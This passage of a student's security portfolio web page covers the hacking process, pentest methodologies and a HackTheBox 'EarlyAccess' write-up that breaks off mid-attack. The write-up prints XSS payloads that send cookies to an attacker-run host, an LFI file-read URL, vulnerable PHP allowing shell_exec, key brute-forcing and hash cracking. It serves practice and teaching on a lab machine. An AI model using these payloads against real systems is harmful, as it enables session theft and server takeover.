Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> 